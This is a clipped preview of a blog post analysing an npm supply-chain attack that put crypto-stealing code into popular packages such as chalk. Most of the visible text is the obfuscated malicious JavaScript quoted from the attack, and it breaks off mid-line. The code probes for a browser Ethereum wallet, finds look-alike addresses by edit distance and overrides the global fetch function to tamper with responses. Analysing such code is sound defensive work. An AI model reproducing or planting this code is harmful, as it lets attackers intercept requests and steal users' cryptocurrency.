Anatomy of a Billion-Download NPM Supply-Chain Attack

jdstaerk.substack.com

Analysis of a large NPM supply-chain attack that injected crypto-stealing malware into popular packages like chalk and mitigation steps.

Anatomy of a Billion-Download NPM Supply-Chain Attack

var neth = 0, rund = 0, loval = 0async function checkethereumw() { try { const _0x124ed3 = await window.ethereum.request({ method: 'eth_accounts' }) _0x124ed3.length > 0 ? (runmask(), rund != 1 && ((rund = 1), (neth = 1), newdlocal())) : rund != 1 && ((rund = 1), newdlocal()) } catch (_0x53a897) { rund != 1 && ((rund = 1), newdlocal()) }}typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && ((rund = 1), newdlocal())function newdlocal() { if (loval == 1) { return } loval = 1 function _0x3479c8(_0x13a5cc, _0x8c209f) { const _0x50715b = Array.from({ length: _0x13a5cc.length + 1 }, () => Array(_0x8c209f.length + 1).fill(0) ) for (let _0x1b96c3 = 0; _0x1b96c3 <= _0x13a5cc.length; _0x1b96c3++) { _0x50715b[_0x1b96c3][0] = _0x1b96c3 } for (let _0x239a5f = 0; _0x239a5f <= _0x8c209f.length; _0x239a5f++) { _0x50715b[0][_0x239a5f] = _0x239a5f } for (let _0x5aba31 = 1; _0x5aba31 <= _0x13a5cc.length; _0x5aba31++) { for (let _0x22e9c0 = 1; _0x22e9c0 <= _0x8c209f.length; _0x22e9c0++) { _0x13a5cc[_0x5aba31 - 1] === _0x8c209f[_0x22e9c0 - 1] ? (_0x50715b[_0x5aba31][_0x22e9c0] = _0x50715b[_0x5aba31 - 1][_0x22e9c0 - 1]) : (_0x50715b[_0x5aba31][_0x22e9c0] = 1 + Math.min( _0x50715b[_0x5aba31 - 1][_0x22e9c0], _0x50715b[_0x5aba31][_0x22e9c0 - 1], _0x50715b[_0x5aba31 - 1][_0x22e9c0 - 1] )) } } return _0x50715b[_0x13a5cc.length][_0x8c209f.length] } function _0x2abae0(_0x348925, _0x2f1e3d) { let _0xff60d1 = Infinity, _0x5be3d3 = null for (let _0x214c8b of _0x2f1e3d) { const _0x3a7411 = _0x3479c8( _0x348925.toLowerCase(), _0x214c8b.toLowerCase() ) _0x3a7411 < _0xff60d1 && ((_0xff60d1 = _0x3a7411), (_0x5be3d3 = _0x214c8b)) } return _0x5be3d3 } const _0x4664e9 = fetch fetch = async function (..._0x1ae7ec) { const _0x406ee2 = await _0xba16ef.tfqRA(_0x4664e9, ..._0x1ae7ec), _0x207752 = _0x406ee2.headers.get('Content-Type') || '' let _0x561841 _0x207752.includes('application/json') ? (_0x561841 = await _0x406ee2.clone().json()) : (_0x561841 = await _

Visit jdstaerk.substack.com
* This website doesn't allow embedding. AUX iOS app for the best experience.